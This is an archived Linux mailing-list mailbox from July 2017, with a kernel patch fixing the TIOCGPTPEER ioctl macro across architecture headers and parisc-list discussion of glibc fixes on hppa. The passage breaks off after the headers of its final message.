X-Cloudmark-Analysis: v=2.2 cv=e4fpceh/ c=1 sm=0 tr=0 a=CP4CeFkTTpGPfaygvaSIJA==:17 a=kj9zAlcOel0A:10 a=G3gG6ho9WtcA:10 a=CCpqsmhAAAAA:8 a=FBHGMhGWAAAA:8 a=LLs4mTE2u49p8gRsBfkA:9 a=CjuIK1q_8ugA:10 a=vugi-HOJO2gA:10 a=FsESP8ono7UA:10 a=66zSKFQpzMcA:10 a=ATlVsGG5QSsA:10 a=ul9cdbp4aOFLsgKbc677:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27561
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27561>

Glibc is no longer is broken on hppa.  See:
https://sourceware.org/ml/libc-alpha/2017-07/msg00595.html

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Gleb Fotengauer-Malinovskiy <glebfm@altlinux.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: [PATCH] [PING] Fix TIOCGPTPEER ioctl definition
Date: Mon, 17 Jul 2017 16:29:46 +0300
Lines: 126
Approved: news@gmane.org
Message-ID: <20170717132946.GK21910@glebfm.cloud.tilaa.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1500298227 9116 195.159.176.226 (17 Jul 2017 13:30:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 17 Jul 2017 13:30:27 +0000 (UTC)
Cc: Aleksa Sarai <asarai@suse.de>,
        David Laight <David.Laight@ACULAB.COM>,
        James Hogan <james.hogan@imgtec.com>,
        "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
        "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
        Valentin Rothberg <vrothberg@suse.com>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
        "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
        "linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "Dmitry V. Levin" <ldv@altlinux.org>, Jiri Slaby <jslaby@suse.com>,
        "sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
        Christian Brauner <christian.brauner@ubuntu.com>,
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 17 15:30:19 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dX66G-0001gw-9v
	for glk-linux-kernel-3@m.gmane.org; Mon, 17 Jul 2017 15:30:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751642AbdGQNaQ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 17 Jul 2017 09:30:16 -0400
Original-Received: from vmicros1.altlinux.org ([194.107.17.57]:36568 "EHLO
        vmicros1.altlinux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751505AbdGQNaG (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 17 Jul 2017 09:30:06 -0400
Original-Received: from imap.altlinux.org (imap.altlinux.org [194.107.17.38])
        by vmicros1.altlinux.org (Postfix) with ESMTP id 80EE772E20A;
        Mon, 17 Jul 2017 16:30:03 +0300 (MSK)
Original-Received: from glebfm.cloud.tilaa.com (glebfm.cloud.tilaa.com [84.22.98.219])
        by imap.altlinux.org (Postfix) with ESMTPSA id F2F144A4B06;
        Mon, 17 Jul 2017 16:30:01 +0300 (MSK)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2524992 gmane.linux.kernel.cross-arch:38393 gmane.linux.ports.mips.general:60339 gmane.linux.ports.parisc:27562 gmane.linux.ports.sh.devel:55697 gmane.linux.ports.alpha:4358 gmane.linux.ports.sparc:25899 gmane.linux.ports.ppc64.devel:144899
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2524992>

This ioctl does nothing to justify an _IOC_READ or _IOC_WRITE flag
because it doesn't copy anything from/to userspace to access the
argument.

Fixes: 54ebbfb16034 ("tty: add TIOCGPTPEER ioctl")
Signed-off-by: Gleb Fotengauer-Malinovskiy <glebfm@altlinux.org>
Acked-by: Aleksa Sarai <asarai@suse.de>
Acked-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/alpha/include/uapi/asm/ioctls.h   | 2 +-
 arch/mips/include/uapi/asm/ioctls.h    | 2 +-
 arch/parisc/include/uapi/asm/ioctls.h  | 2 +-
 arch/powerpc/include/uapi/asm/ioctls.h | 2 +-
 arch/sh/include/uapi/asm/ioctls.h      | 2 +-
 arch/sparc/include/uapi/asm/ioctls.h   | 2 +-
 arch/xtensa/include/uapi/asm/ioctls.h  | 2 +-
 include/uapi/asm-generic/ioctls.h      | 2 +-
 8 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/ioctls.h b/arch/alpha/include/uapi/asm/ioctls.h
index ff67b8373bf7..1cd7dc7d4870 100644
--- a/arch/alpha/include/uapi/asm/ioctls.h
+++ b/arch/alpha/include/uapi/asm/ioctls.h
@@ -100,7 +100,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
-#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
 
 #define TIOCSERCONFIG	0x5453
 #define TIOCSERGWILD	0x5454
diff --git a/arch/mips/include/uapi/asm/ioctls.h b/arch/mips/include/uapi/asm/ioctls.h
index 68e19b689a00..1609cb0907ac 100644
--- a/arch/mips/include/uapi/asm/ioctls.h
+++ b/arch/mips/include/uapi/asm/ioctls.h
@@ -91,7 +91,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
-#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
 
 /* I hope the range from 0x5480 on is free ... */
 #define TIOCSCTTY	0x5480		/* become controlling tty */
diff --git a/arch/parisc/include/uapi/asm/ioctls.h b/arch/parisc/include/uapi/asm/ioctls.h
index 674c68a5bbd0..d0e3321403be 100644
--- a/arch/parisc/include/uapi/asm/ioctls.h
+++ b/arch/parisc/include/uapi/asm/ioctls.h
@@ -60,7 +60,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
-#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
 
 #define FIONCLEX	0x5450  /* these numbers need to be adjusted. */
 #define FIOCLEX		0x5451
diff --git a/arch/powerpc/include/uapi/asm/ioctls.h b/arch/powerpc/include/uapi/asm/ioctls.h
index bfd609a3e928..e3b10469f787 100644
--- a/arch/powerpc/include/uapi/asm/ioctls.h
+++ b/arch/powerpc/include/uapi/asm/ioctls.h
@@ -100,7 +100,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
-#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
 
 #define TIOCSERCONFIG	0x5453
 #define TIOCSERGWILD	0x5454
diff --git a/arch/sh/include/uapi/asm/ioctls.h b/arch/sh/include/uapi/asm/ioctls.h
index eec7901e9e65..787bac9f67da 100644
--- a/arch/sh/include/uapi/asm/ioctls.h
+++ b/arch/sh/include/uapi/asm/ioctls.h
@@ -93,7 +93,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
-#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
 
 #define TIOCSERCONFIG	_IO('T', 83) /* 0x5453 */
 #define TIOCSERGWILD	_IOR('T', 84,  int) /* 0x5454 */
diff --git a/arch/sparc/include/uapi/asm/ioctls.h b/arch/sparc/include/uapi/asm/ioctls.h
index 6d27398632ea..f5df72b93bb2 100644
--- a/arch/sparc/include/uapi/asm/ioctls.h
+++ b/arch/sparc/include/uapi/asm/ioctls.h
@@ -88,7 +88,7 @@
 #define TIOCGPTN	_IOR('t', 134, unsigned int) /* Get Pty Number */
 #define TIOCSPTLCK	_IOW('t', 135, int) /* Lock/unlock PTY */
 #define TIOCSIG		_IOW('t', 136, int) /* Generate signal on Pty slave */
-#define TIOCGPTPEER	_IOR('t', 137, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('t', 137) /* Safely open the slave */
 
 /* Little f */
 #define FIOCLEX		_IO('f', 1)
diff --git a/arch/xtensa/include/uapi/asm/ioctls.h b/arch/xtensa/include/uapi/asm/ioctls.h
index 98b004e24e85..47d82c09be7b 100644
--- a/arch/xtensa/include/uapi/asm/ioctls.h
+++ b/arch/xtensa/include/uapi/asm/ioctls.h
@@ -105,7 +105,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
-#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
 
 #define TIOCSERCONFIG	_IO('T', 83)
 #define TIOCSERGWILD	_IOR('T', 84,  int)
diff --git a/include/uapi/asm-generic/ioctls.h b/include/uapi/asm-generic/ioctls.h
index 06d5f7ddf84e..14baf9f23a14 100644
--- a/include/uapi/asm-generic/ioctls.h
+++ b/include/uapi/asm-generic/ioctls.h
@@ -77,7 +77,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
-#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
 
 #define FIONCLEX	0x5450
 #define FIOCLEX		0x5451
-- 
glebfm


From - Thu Nov 08 21:40:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] [PING] Fix TIOCGPTPEER ioctl definition
Date: Mon, 17 Jul 2017 15:47:46 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20170717134746.GA19574@kroah.com>
References: <20170717132946.GK21910@glebfm.cloud.tilaa.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1500299282 15530 195.159.176.226 (17 Jul 2017 13:48:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 17 Jul 2017 13:48:02 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: Aleksa Sarai <asarai@suse.de>,
        David Laight <David.Laight@ACULAB.COM>,
        James Hogan <james.hogan@imgtec.com>,
        "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
        "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
        Valentin Rothberg <vrothberg@suse.com>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
        "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
        "linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "Dmitry V. Levin" <ldv@altlinux.org>, Jiri Slaby <jslaby@suse.com>,
        "sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
        Christian Brauner <christian.brauner@ubuntu.com>,
To: Gleb Fotengauer-Malinovskiy <glebfm@altlinux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 17 15:47:55 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dX6NK-00034P-S4
	for glk-linux-kernel-3@m.gmane.org; Mon, 17 Jul 2017 15:47:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751475AbdGQNrz (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 17 Jul 2017 09:47:55 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:56546 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751306AbdGQNrw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 17 Jul 2017 09:47:52 -0400
Original-Received: from localhost (LFbn-1-12253-150.w90-92.abo.wanadoo.fr [90.92.67.150])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id 311AE72A;
        Mon, 17 Jul 2017 13:47:51 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170717132946.GK21910@glebfm.cloud.tilaa.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2525020 gmane.linux.kernel.cross-arch:38394 gmane.linux.ports.mips.general:60340 gmane.linux.ports.parisc:27563 gmane.linux.ports.sh.devel:55698 gmane.linux.ports.alpha:4359 gmane.linux.ports.sparc:25900 gmane.linux.ports.ppc64.devel:144900
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2525020>

On Mon, Jul 17, 2017 at 04:29:46PM +0300, Gleb Fotengauer-Malinovskiy wrote:
> This ioctl does nothing to justify an _IOC_READ or _IOC_WRITE flag
> because it doesn't copy anything from/to userspace to access the
> argument.
> 
> Fixes: 54ebbfb16034 ("tty: add TIOCGPTPEER ioctl")
> Signed-off-by: Gleb Fotengauer-Malinovskiy <glebfm@altlinux.org>
> Acked-by: Aleksa Sarai <asarai@suse.de>
> Acked-by: Arnd Bergmann <arnd@arndb.de>


Why the PING?  -rc1 just happened, so I am only now able to apply the
patch to the tree.  Please relax, you are behind about 800+ other
patches in my queue...

thanks,

greg k-h


From - Thu Nov 08 21:40:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: glibc updated
Date: Mon, 17 Jul 2017 12:00:32 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <CAE2sS1hWWdMMWMUeC3LwMJtiY8_V5ugNO7G9sz5mRHcoF7JeQg@mail.gmail.com>
References: <DFA251E0-F7AD-4F50-8012-13FD30535EC2@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1500307237 14116 195.159.176.226 (17 Jul 2017 16:00:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 17 Jul 2017 16:00:37 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
        Helge Deller <deller@gmx.de>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 17 18:00:29 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dX8Rg-00022T-9w
	for glpp-linux-parisc@m.gmane.org; Mon, 17 Jul 2017 18:00:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751316AbdGQQAe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 17 Jul 2017 12:00:34 -0400
Original-Received: from mail-qt0-f171.google.com ([209.85.216.171]:32955 "EHLO
        mail-qt0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751284AbdGQQAd (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 17 Jul 2017 12:00:33 -0400
Original-Received: by mail-qt0-f171.google.com with SMTP id n42so12945738qtn.0
        for <linux-parisc@vger.kernel.org>; Mon, 17 Jul 2017 09:00:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=uyEF/aUmTbVwU94EfW36Dt09ySdpieVxQGXmHoo/u+c=;
        b=GAnkFZUxubc0+y7OkNA2M3i5Bg/o9Vfgz0DwgiHi6cuAkCeWGOaDd2orMmW9RP8T/h
         QICz9CDwMcnyxGM05GeMHpCOlxI9IraTtPDIx4FLH1Ey0I29gN1NFnnMXtO43k6onDkU
         SImkP1k+UP2TrnOZvxTjQRKdb0ZxHtpgw5Ab8=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=uyEF/aUmTbVwU94EfW36Dt09ySdpieVxQGXmHoo/u+c=;
        b=SUVtqEYD+ZSAEbDmAKZKykMxh/qoF7ZqUZb6Isc+M3/d5JQJ6fPfBYrcxdgdUAPtE0
         wuP6gyVQxNPsdgWq3ll03W7o9oFx3FrYu7DrZK81i9DbbQNR8gQQ/DrCH5M26zZtQEJB
         nQ5NYTTcJ8cg6mSOI5bZn86UcjmGlxwZ7NoImg7TukUIYaOE+v4vS/XnRNG3YZpuwNTz
         AOcLvCflUwTon4zrymRTsuchixqTZ7Io9CNz/vMmhCYWrvfqLTO+G2I6/+gIZISVXdHg
         X8ExEQmCgqzovoFn7q4TZKPVZuhCPOJkHU6fbnZ2H8FtStrJwaT03ckEm0sgioqJkM+0
         zeOQ==
X-Gm-Message-State: AIVw111JmVrb8g4tskya0Sfe0hu9GAd5eVyDcZpJaU3/+53kfmSiA7At
        mCDV68H3Z6JoWtWKiOTerztm5mHUB2Ct
X-Received: by 10.237.32.141 with SMTP id 13mr30727042qtb.41.1500307232930;
 Mon, 17 Jul 2017 09:00:32 -0700 (PDT)
Original-Received: by 10.55.1.143 with HTTP; Mon, 17 Jul 2017 09:00:32 -0700 (PDT)
X-Originating-IP: [174.116.176.225]
In-Reply-To: <DFA251E0-F7AD-4F50-8012-13FD30535EC2@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27564
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27564>

On Mon, Jul 17, 2017 at 7:54 AM, John David Anglin <dave.anglin@bell.net> wrote:
> Glibc is no longer is broken on hppa.  See:
> https://sourceware.org/ml/libc-alpha/2017-07/msg00595.html

Thanks  for all the upstream fixes!

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: glibc updated
Date: Mon, 17 Jul 2017 12:33:40 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <e2995a78-a001-c142-4fbd-0c09abf3b9be@bell.net>
References: <DFA251E0-F7AD-4F50-8012-13FD30535EC2@bell.net>
 <CAE2sS1hWWdMMWMUeC3LwMJtiY8_V5ugNO7G9sz5mRHcoF7JeQg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1500309228 3184 195.159.176.226 (17 Jul 2017 16:33:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 17 Jul 2017 16:33:48 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: Parisc List <linux-parisc@vger.kernel.org>,
        Helge Deller <deller@gmx.de>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 17 18:33:39 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dX8xl-0006mD-RO
	for glpp-linux-parisc@m.gmane.org; Mon, 17 Jul 2017 18:33:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751301AbdGQQdn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 17 Jul 2017 12:33:43 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:43966 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751291AbdGQQdn (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 17 Jul 2017 12:33:43 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170717163341.OTVQ11748.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 17 Jul 2017 12:33:41 -0400
Original-Received: from [192.168.0.125] (really [69.156.6.177]) by mtlspm01.bell.net
          with ESMTP
          id <20170717163341.TWUU3891.mtlspm01.bell.net@[192.168.0.125]>;
          Mon, 17 Jul 2017 12:33:41 -0400
In-Reply-To: <CAE2sS1hWWdMMWMUeC3LwMJtiY8_V5ugNO7G9sz5mRHcoF7JeQg@mail.gmail.com>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=Cczn3Pjl c=1 sm=0 tr=0 a=3ltiz+tVjlZyyvKV74jFzA==:17 a=IkcTkHD0fZMA:10 a=G3gG6ho9WtcA:10 a=FBHGMhGWAAAA:8 a=CCpqsmhAAAAA:8 a=FVPKMOHep3mtsF9qKhEA:9 a=QEXdDO2ut3YA:10 a=vugi-HOJO2gA:10 a=9gvnlMMaQFpL9xblJ6ne:22 a=ul9cdbp4aOFLsgKbc677:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27565
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27565>

On 2017-07-17 12:00 PM, Carlos O'Donell wrote:
> On Mon, Jul 17, 2017 at 7:54 AM, John David Anglin<dave.anglin@bell.net>  wrote:
>> Glibc is no longer broken on hppa.  See:
>> https://sourceware.org/ml/libc-alpha/2017-07/msg00595.html
> Thanks  for all the upstream fixes!
Appreciated.  It took a fair bit of time last weekend.  As a result, we 
got a bit of help in
fixing a couple more bugs :-)

I would like to know if the gentoo folks would consider fixing the 
__gmon_start__ bug:
https://sourceware.org/bugzilla/show_bug.cgi?id=19170

There is some risk in applying the patch as rebuilding a library package 
may break other
packages which depend on the library.  This could break critical tools 
such as binutils and
gcc.  In which case, some manual intervention may be needed. However, 
the transition
on Debian went fairly smoothly.  As a result, we no longer have the 
external symbol
__gmon_start exposed and we have correct library dependencies.

The issues with _init referred to in the BZ report are fixed.  It is now 
PIC; and PIE applications
work on hppa thanks to Alan Modra.

Although not ideal, we could keep the __gmon_start__ patch in Debian.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: glibc updated
Date: Tue, 18 Jul 2017 10:32:17 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <23667583-845e-3ce9-f327-456fd042cc32@bell.net>
References: <DFA251E0-F7AD-4F50-8012-13FD30535EC2@bell.net>
 <CAE2sS1hWWdMMWMUeC3LwMJtiY8_V5ugNO7G9sz5mRHcoF7JeQg@mail.gmail.com>
 <e2995a78-a001-c142-4fbd-0c09abf3b9be@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1500388348 15478 195.159.176.226 (18 Jul 2017 14:32:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 18 Jul 2017 14:32:28 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: Parisc List <linux-parisc@vger.kernel.org>,
        Helge Deller <deller@gmx.de>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 18 16:32:21 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dXTXr-00017a-FB
	for glpp-linux-parisc@m.gmane.org; Tue, 18 Jul 2017 16:32:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751472AbdGROcV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 18 Jul 2017 10:32:21 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:36794 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751457AbdGROcU (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 18 Jul 2017 10:32:20 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20170718143219.UYZF19720.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 18 Jul 2017 10:32:19 -0400
